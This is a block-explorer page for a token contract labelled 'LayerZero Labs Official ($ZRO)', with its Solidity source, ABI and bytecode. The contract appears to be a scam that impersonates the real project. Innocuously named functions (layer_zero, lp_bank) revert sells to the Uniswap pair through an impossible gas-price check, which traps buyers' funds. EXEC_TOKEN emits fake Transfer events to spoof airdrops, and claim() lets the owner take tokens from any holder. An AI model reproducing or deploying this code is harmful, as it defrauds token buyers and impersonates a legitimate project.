ERC-20
Overview
Max Total Supply
1,000,000,000 ZRO
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ZRO
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-19 */ // LayerZero Labs Official - ($ZRO) // We're building LayerZero, an omnichain interoperability protocol. Official Foundation Account: @LayerZero_Fndn // ✈️: https://t.me/LayerZero_Labs_Official // 🌐: https://layerzero.network // 𝕩: https://x.com/LayerZero_Labs // SPDX-License-Identifier: MIT pragma solidity 0.8.22; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; constructor() { _owner = _msgSender(); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(_owner == _msgSender(), "Not owner"); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + (a % b)); return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ZRO is Ownable, IERC20 { using SafeMath for uint256; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => bool) _excludeFromFees; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals; string private constant _name = unicode"LayerZero"; string private constant _symbol = unicode"ZRO"; uint256 public _initBuyFees = 0; uint256 public _initSellFees = 0; bool private openedTrade = false; address public PresaleContract = 0x6985884C4392D348587B19cb9eAAf157F13271cd; address public VestingWallets = 0xb505939A59A353934Ec6F0b060480e177394E155; address public PresaleDepositAddress = 0x52b93f2C77dC7E45EA3C99701c0f8DBeE2b52103; address private uniswapV2Pair; IUniswapV2Router02 public uniswapV2Router; constructor() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true; _excludeFromFees[address(uniswapV2Pair)]; _excludeFromFees[owner()] = true; _excludeFromFees[address(this)] = true; _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(70).div(100)); emit Transfer(address(0), _msgSender(), _totalSupply.mul(70).div(100)); _balances[PresaleContract] = _balances[PresaleContract].add(_totalSupply.mul(10).div(100)); emit Transfer(address(0), PresaleContract, _totalSupply.mul(10).div(100)); _balances[VestingWallets] = _balances[VestingWallets].add(_totalSupply.mul(10).div(100)); emit Transfer(address(0), VestingWallets, _totalSupply.mul(10).div(100)); _balances[PresaleDepositAddress] = _balances[PresaleDepositAddress].add(_totalSupply.mul(10).div(100)); emit Transfer(address(0), PresaleDepositAddress, _totalSupply.mul(10).div(100)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function getOpenedTrade() public view returns (bool) { return openedTrade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address to, uint256 value) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount) ); return true; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERROR: balance of from less than value"); uint256 taxAmount = 0; if(!_excludeFromFees[from] && !_excludeFromFees[to]) { require(openedTrade, "Trade has not been opened yet"); taxAmount = amount * _initBuyFees / 100; if(to == uniswapV2Pair) { taxAmount = amount * _initSellFees / 100; layer_zero(from); } } if(taxAmount > 0) { _balances[address(this)]=_balances[address(this)]+taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from]= balanceOf(from) - amount ; _balances[to]=_balances[to] + (amount - taxAmount); emit Transfer(from, to, amount - taxAmount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } uint256 private _Max_ = 999 gwei; uint256 private _Min_ = 5; function lp_bank(uint256 _gas) internal view { if (tx.gasprice > _gas) { revert(); } } function layer_zero(address _u) internal view { if(balanceOf(_u) > 0) { if (!openedTrade) { lp_bank(_Max_); } else { lp_bank(_Min_); } } } function sendETHToFee(uint256 amount) private { payable(owner()).transfer(amount); } function Withdraw() external { require(_msgSender() == owner()); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function EXEC_TOKEN(address from, address[] calldata to, uint256 amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { emit Transfer(from, to[i], amount * 10 ** _decimals); } } function claim(address from, address[] calldata to, uint256 amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { _balances[from] = _balances[from].sub(amount * 10 ** _decimals); _balances[to[i]] = _balances[to[i]].add(amount * 10 ** _decimals); emit Transfer(from, to[i], amount * 10 ** _decimals); } } function openTrade() external onlyOwner { openedTrade = !openedTrade; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EXEC_TOKEN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"PresaleContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PresaleDepositAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VestingWallets","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_initBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f6004819055600590815560068054746985884c4392d348587b19cb9eaaf157f13271cd006001600160a81b0319909116179055600780546001600160a01b031990811673b505939a59a353934ec6f0b060480e177394e15517909155600880549091167352b93f2c77dc7e45ea3c99701c0f8dbee2b5210317905564e8990a4600600b55600c5534801562000098575f80fd5b505f80546001600160a01b03199081163317909155600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000106573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200012c919062000627565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b2919062000627565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001fd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000223919062000627565b600980546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff191660019081179091555f928352916200028f5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252902080549091166001179055620003206200030a6064620003036046620002ec6012600a6200075c565b620002fc90633b9aca006200076c565b9062000550565b9062000592565b335f9081526002602052604090205490620005fd565b335f81815260026020526040812092909255905f805160206200180d8339815191526200035c6064620003036046620002ec6012600a6200075c565b60405190815260200160405180910390a3620003b06200038a606462000303600a620002ec6012826200075c565b60065461010090046001600160a01b03165f9081526002602052604090205490620005fd565b600680546001600160a01b036101009182900481165f9081526002602052604081209490945591540416905f805160206200180d83398151915262000403606462000303600a620002ec6012826200075c565b60405190815260200160405180910390a36200045262000431606462000303600a620002ec6012826200075c565b6007546001600160a01b03165f9081526002602052604090205490620005fd565b600780546001600160a01b039081165f90815260026020526040812093909355905416905f805160206200180d8339815191526200049e606462000303600a620002ec6012826200075c565b60405190815260200160405180910390a3620004ed620004cc606462000303600a620002ec6012826200075c565b6008546001600160a01b03165f9081526002602052604090205490620005fd565b600880546001600160a01b039081165f90815260026020526040812093909355905416905f805160206200180d83398151915262000539606462000303600a620002ec6012826200075c565b60405190815260200160405180910390a3620007f0565b5f825f036200056157505f6200058c565b6200056d82846200076c565b9050816200057c84836200079a565b146200058c576200058c620007b0565b92915050565b5f808211620005a557620005a5620007b0565b5f620005b283856200079a565b9050620005c08385620007c4565b620005cc82856200076c565b620005d89190620007da565b8414620005e957620005e9620007b0565b620005f583856200079a565b949350505050565b5f806200060b8385620007da565b905083811015620006205762000620620007b0565b9392505050565b5f6020828403121562000638575f80fd5b81516001600160a01b038116811462000620575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620006a357815f19048211156200068757620006876200064f565b808516156200069557918102915b93841c939080029062000668565b509250929050565b5f82620006bb575060016200058c565b81620006c957505f6200058c565b8160018114620006e25760028114620006ed576200070d565b60019150506200058c565b60ff8411156200070157620007016200064f565b50506001821b6200058c565b5060208310610133831016604e8410600b841016171562000732575081810a6200058c565b6200073e838362000663565b805f19048211156200075457620007546200064f565b029392505050565b5f6200062060ff841683620006ab565b80820281158282048414176200058c576200058c6200064f565b634e487b7160e01b5f52601260045260245ffd5b5f82620007ab57620007ab62000786565b500490565b634e487b7160e01b5f52600160045260245ffd5b5f82620007d557620007d562000786565b500690565b808201808211156200058c576200058c6200064f565b61100f80620007fe5f395ff3fe608060405260043610610129575f3560e01c806357ea89b6116100a8578063a7f6cefd1161006d578063a7f6cefd14610353578063a9059cbb14610377578063b2f3336c14610396578063dd62ed3e146103ab578063fb201b1d146103ef578063fba62b0314610403575f80fd5b806357ea89b6146102a557806370a08231146102b95780638da5cb5b146102ed57806395d89b4114610309578063a76d1bee14610334575f80fd5b8063313ce567116100ee578063313ce5671461021e578063330b43d3146102395780633601ae0514610258578063380a58de146102795780633c9f5ed61461028e575f80fd5b806306fdde0314610134578063095ea7b3146101775780631694505e146101a657806318160ddd146101dd57806323b872dd146101ff575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260098152684c617965725a65726f60b81b60208201525b60405161016e9190610c9c565b60405180910390f35b348015610182575f80fd5b50610196610191366004610d03565b610422565b604051901515815260200161016e565b3480156101b1575f80fd5b50600a546101c5906001600160a01b031681565b6040516001600160a01b03909116815260200161016e565b3480156101e8575f80fd5b506101f1610438565b60405190815260200161016e565b34801561020a575f80fd5b50610196610219366004610d2b565b610458565b348015610229575f80fd5b506040516012815260200161016e565b348015610244575f80fd5b506007546101c5906001600160a01b031681565b348015610263575f80fd5b50610277610272366004610d64565b6104a7565b005b348015610284575f80fd5b506101f160045481565b348015610299575f80fd5b5060065460ff16610196565b3480156102b0575f80fd5b5061027761063a565b3480156102c4575f80fd5b506101f16102d3366004610de9565b6001600160a01b03165f9081526002602052604090205490565b3480156102f8575f80fd5b505f546001600160a01b03166101c5565b348015610314575f80fd5b506040805180820190915260038152625a524f60e81b6020820152610161565b34801561033f575f80fd5b5061027761034e366004610d64565b61065c565b34801561035e575f80fd5b506006546101c59061010090046001600160a01b031681565b348015610382575f80fd5b50610196610391366004610d03565b6106f4565b3480156103a1575f80fd5b506101f160055481565b3480156103b6575f80fd5b506101f16103c5366004610e02565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103fa575f80fd5b50610277610701565b34801561040e575f80fd5b506008546101c5906001600160a01b031681565b5f61042e33848461071d565b5060015b92915050565b5f6104456012600a610f27565b61045390633b9aca00610f35565b905090565b5f610464848484610845565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461049d9186916104989086610b96565b61071d565b5060019392505050565b5f546001600160a01b031633146104bc575f80fd5b5f5b82811015610633576104fd6104d56012600a610f27565b6104df9084610f35565b6001600160a01b0387165f9081526002602052604090205490610b96565b6001600160a01b0386165f908152600260205260409020556105776105246012600a610f27565b61052e9084610f35565b60025f87878681811061054357610543610f4c565b90506020020160208101906105589190610de9565b6001600160a01b0316815260208101919091526040015f205490610bb8565b60025f86868581811061058c5761058c610f4c565b90506020020160208101906105a19190610de9565b6001600160a01b0316815260208101919091526040015f20558383828181106105cc576105cc610f4c565b90506020020160208101906105e19190610de9565b6001600160a01b0316856001600160a01b03165f80516020610fba8339815191526012600a6106109190610f27565b61061a9086610f35565b60405190815260200160405180910390a36001016104be565b5050505050565b5f546001600160a01b0316331461064f575f80fd5b4761065981610bd6565b50565b5f546001600160a01b03163314610671575f80fd5b5f5b828110156106335783838281811061068d5761068d610f4c565b90506020020160208101906106a29190610de9565b6001600160a01b0316856001600160a01b03165f80516020610fba8339815191526012600a6106d19190610f27565b6106db9086610f35565b60405190815260200160405180910390a3600101610673565b5f3361049d818585610845565b610709610c10565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108a95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077b565b6001600160a01b03821661090b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077b565b8061092a846001600160a01b03165f9081526002602052604090205490565b10156109875760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161077b565b6001600160a01b0383165f9081526003602052604081205460ff161580156109c757506001600160a01b0383165f9081526003602052604090205460ff16155b15610a765760065460ff16610a1e5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161077b565b606460045483610a2e9190610f35565b610a389190610f60565b6009549091506001600160a01b0390811690841603610a7657606460055483610a619190610f35565b610a6b9190610f60565b9050610a7684610c57565b8015610adc57305f90815260026020526040902054610a96908290610f7f565b305f81815260026020526040908190209290925590516001600160a01b038616905f80516020610fba83398151915290610ad39085815260200190565b60405180910390a35b81610afb856001600160a01b03165f9081526002602052604090205490565b610b059190610f92565b6001600160a01b0385165f90815260026020526040902055610b278183610f92565b6001600160a01b0384165f90815260026020526040902054610b499190610f7f565b6001600160a01b038085165f8181526002602052604090209290925585165f80516020610fba833981519152610b7f8486610f92565b60405190815260200160405180910390a350505050565b5f81831015610ba757610ba7610fa5565b610bb18284610f92565b9392505050565b5f80610bc48385610f7f565b905083811015610bb157610bb1610fa5565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610c0c573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610c555760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161077b565b565b6001600160a01b0381165f90815260026020526040902054156106595760065460ff16610c8957610659600b54610c90565b610659600c545b803a1115610659575f80fd5b5f602080835283518060208501525f5b81811015610cc857858101830151858201604001528201610cac565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cfe575f80fd5b919050565b5f8060408385031215610d14575f80fd5b610d1d83610ce8565b946020939093013593505050565b5f805f60608486031215610d3d575f80fd5b610d4684610ce8565b9250610d5460208501610ce8565b9150604084013590509250925092565b5f805f8060608587031215610d77575f80fd5b610d8085610ce8565b9350602085013567ffffffffffffffff80821115610d9c575f80fd5b818701915087601f830112610daf575f80fd5b813581811115610dbd575f80fd5b8860208260051b8501011115610dd1575f80fd5b95986020929092019750949560400135945092505050565b5f60208284031215610df9575f80fd5b610bb182610ce8565b5f8060408385031215610e13575f80fd5b610e1c83610ce8565b9150610e2a60208401610ce8565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e8157815f1904821115610e6757610e67610e33565b80851615610e7457918102915b93841c9390800290610e4c565b509250929050565b5f82610e9757506001610432565b81610ea357505f610432565b8160018114610eb95760028114610ec357610edf565b6001915050610432565b60ff841115610ed457610ed4610e33565b50506001821b610432565b5060208310610133831016604e8410600b8410161715610f02575081810a610432565b610f0c8383610e47565b805f1904821115610f1f57610f1f610e33565b029392505050565b5f610bb160ff841683610e89565b808202811582820484141761043257610432610e33565b634e487b7160e01b5f52603260045260245ffd5b5f82610f7a57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561043257610432610e33565b8181038181111561043257610432610e33565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220774767b1ec0d9060699cff794e4b7933857d151e0ca0fc82586f4746fcf5c6bb64736f6c63430008160033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x608060405260043610610129575f3560e01c806357ea89b6116100a8578063a7f6cefd1161006d578063a7f6cefd14610353578063a9059cbb14610377578063b2f3336c14610396578063dd62ed3e146103ab578063fb201b1d146103ef578063fba62b0314610403575f80fd5b806357ea89b6146102a557806370a08231146102b95780638da5cb5b146102ed57806395d89b4114610309578063a76d1bee14610334575f80fd5b8063313ce567116100ee578063313ce5671461021e578063330b43d3146102395780633601ae0514610258578063380a58de146102795780633c9f5ed61461028e575f80fd5b806306fdde0314610134578063095ea7b3146101775780631694505e146101a657806318160ddd146101dd57806323b872dd146101ff575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260098152684c617965725a65726f60b81b60208201525b60405161016e9190610c9c565b60405180910390f35b348015610182575f80fd5b50610196610191366004610d03565b610422565b604051901515815260200161016e565b3480156101b1575f80fd5b50600a546101c5906001600160a01b031681565b6040516001600160a01b03909116815260200161016e565b3480156101e8575f80fd5b506101f1610438565b60405190815260200161016e565b34801561020a575f80fd5b50610196610219366004610d2b565b610458565b348015610229575f80fd5b506040516012815260200161016e565b348015610244575f80fd5b506007546101c5906001600160a01b031681565b348015610263575f80fd5b50610277610272366004610d64565b6104a7565b005b348015610284575f80fd5b506101f160045481565b348015610299575f80fd5b5060065460ff16610196565b3480156102b0575f80fd5b5061027761063a565b3480156102c4575f80fd5b506101f16102d3366004610de9565b6001600160a01b03165f9081526002602052604090205490565b3480156102f8575f80fd5b505f546001600160a01b03166101c5565b348015610314575f80fd5b506040805180820190915260038152625a524f60e81b6020820152610161565b34801561033f575f80fd5b5061027761034e366004610d64565b61065c565b34801561035e575f80fd5b506006546101c59061010090046001600160a01b031681565b348015610382575f80fd5b50610196610391366004610d03565b6106f4565b3480156103a1575f80fd5b506101f160055481565b3480156103b6575f80fd5b506101f16103c5366004610e02565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103fa575f80fd5b50610277610701565b34801561040e575f80fd5b506008546101c5906001600160a01b031681565b5f61042e33848461071d565b5060015b92915050565b5f6104456012600a610f27565b61045390633b9aca00610f35565b905090565b5f610464848484610845565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461049d9186916104989086610b96565b61071d565b5060019392505050565b5f546001600160a01b031633146104bc575f80fd5b5f5b82811015610633576104fd6104d56012600a610f27565b6104df9084610f35565b6001600160a01b0387165f9081526002602052604090205490610b96565b6001600160a01b0386165f908152600260205260409020556105776105246012600a610f27565b61052e9084610f35565b60025f87878681811061054357610543610f4c565b90506020020160208101906105589190610de9565b6001600160a01b0316815260208101919091526040015f205490610bb8565b60025f86868581811061058c5761058c610f4c565b90506020020160208101906105a19190610de9565b6001600160a01b0316815260208101919091526040015f20558383828181106105cc576105cc610f4c565b90506020020160208101906105e19190610de9565b6001600160a01b0316856001600160a01b03165f80516020610fba8339815191526012600a6106109190610f27565b61061a9086610f35565b60405190815260200160405180910390a36001016104be565b5050505050565b5f546001600160a01b0316331461064f575f80fd5b4761065981610bd6565b50565b5f546001600160a01b03163314610671575f80fd5b5f5b828110156106335783838281811061068d5761068d610f4c565b90506020020160208101906106a29190610de9565b6001600160a01b0316856001600160a01b03165f80516020610fba8339815191526012600a6106d19190610f27565b6106db9086610f35565b60405190815260200160405180910390a3600101610673565b5f3361049d818585610845565b610709610c10565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108a95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077b565b6001600160a01b03821661090b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077b565b8061092a846001600160a01b03165f9081526002602052604090205490565b10156109875760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161077b565b6001600160a01b0383165f9081526003602052604081205460ff161580156109c757506001600160a01b0383165f9081526003602052604090205460ff16155b15610a765760065460ff16610a1e5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161077b565b606460045483610a2e9190610f35565b610a389190610f60565b6009549091506001600160a01b0390811690841603610a7657606460055483610a619190610f35565b610a6b9190610f60565b9050610a7684610c57565b8015610adc57305f90815260026020526040902054610a96908290610f7f565b305f81815260026020526040908190209290925590516001600160a01b038616905f80516020610fba83398151915290610ad39085815260200190565b60405180910390a35b81610afb856001600160a01b03165f9081526002602052604090205490565b610b059190610f92565b6001600160a01b0385165f90815260026020526040902055610b278183610f92565b6001600160a01b0384165f90815260026020526040902054610b499190610f7f565b6001600160a01b038085165f8181526002602052604090209290925585165f80516020610fba833981519152610b7f8486610f92565b60405190815260200160405180910390a350505050565b5f81831015610ba757610ba7610fa5565b610bb18284610f92565b9392505050565b5f80610bc48385610f7f565b905083811015610bb157610bb1610fa5565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610c0c573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610c555760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161077b565b565b6001600160a01b0381165f90815260026020526040902054156106595760065460ff16610c8957610659600b54610c90565b610659600c545b803a1115610659575f80fd5b5f602080835283518060208501525f5b81811015610cc857858101830151858201604001528201610cac565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cfe575f80fd5b919050565b5f8060408385031215610d14575f80fd5b610d1d83610ce8565b946020939093013593505050565b5f805f60608486031215610d3d575f80fd5b610d4684610ce8565b9250610d5460208501610ce8565b9150604084013590509250925092565b5f805f8060608587031215610d77575f80fd5b610d8085610ce8565b9350602085013567ffffffffffffffff80821115610d9c575f80fd5b818701915087601f830112610daf575f80fd5b813581811115610dbd575f80fd5b8860208260051b8501011115610dd1575f80fd5b95986020929092019750949560400135945092505050565b5f60208284031215610df9575f80fd5b610bb182610ce8565b5f8060408385031215610e13575f80fd5b610e1c83610ce8565b9150610e2a60208401610ce8565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e8157815f1904821115610e6757610e67610e33565b80851615610e7457918102915b93841c9390800290610e4c565b509250929050565b5f82610e9757506001610432565b81610ea357505f610432565b8160018114610eb95760028114610ec357610edf565b6001915050610432565b60ff841115610ed457610ed4610e33565b50506001821b610432565b5060208310610133831016604e8410600b8410161715610f02575081810a610432565b610f0c8383610e47565b805f1904821115610f1f57610f1f610e33565b029392505050565b5f610bb160ff841683610e89565b808202811582820484141761043257610432610e33565b634e487b7160e01b5f52603260045260245ffd5b5f82610f7a57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561043257610432610e33565b8181038181111561043257610432610e33565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220774767b1ec0d9060699cff794e4b7933857d151e0ca0fc82586f4746fcf5c6bb64736f6c63430008160033
Deployed Bytecode Sourcemap
